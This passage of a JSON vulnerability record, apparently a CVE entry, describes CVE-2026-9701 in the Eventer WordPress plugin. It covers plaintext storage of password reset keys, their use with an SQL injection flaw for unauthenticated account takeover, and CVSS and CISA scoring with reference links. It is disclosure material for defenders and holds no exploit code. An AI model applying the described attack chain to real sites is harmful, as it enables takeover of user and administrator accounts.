The plugin stores a plaintext copy of the password reset key in the `eventer_verification_code` user meta field when a user requests a password reset. The plaintext key stored in `wp_usermeta` can be used with the plugin's custom reset action to set a new password for any user. Combined with another vulnerability such as SQL Injection (CVE-2026-9700), this makes it possible for unauthenticated attackers to extract the plaintext reset key and take over any user account, including administrators. Note: The password reset function only works up to PHP version 7.4."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "joe007", "product": "Eventer", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "4.4.2", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-08T13:47:48.350133Z", "id": "CVE-2026-9701", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-289"}]}], "references": [{"url": "https://codecanyon.net/item/eventer-wordpress-event-manager-plugin/20972534", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bc656765-1eac-4a96-99e9-c22d64984923?source=cve", "source": "[email protected]"}]}}
